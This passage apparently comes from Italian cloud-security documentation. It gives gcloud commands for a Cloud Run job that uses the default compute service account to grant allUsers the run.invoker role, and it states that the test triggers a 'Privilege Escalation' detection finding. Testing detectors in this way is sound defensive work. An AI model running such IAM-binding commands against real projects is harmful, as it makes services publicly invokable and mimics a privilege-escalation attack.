       --project $PROJECT \
       --region $REGION \
       --image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
       --command gcloud \
       --args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy.

Passaggi successivi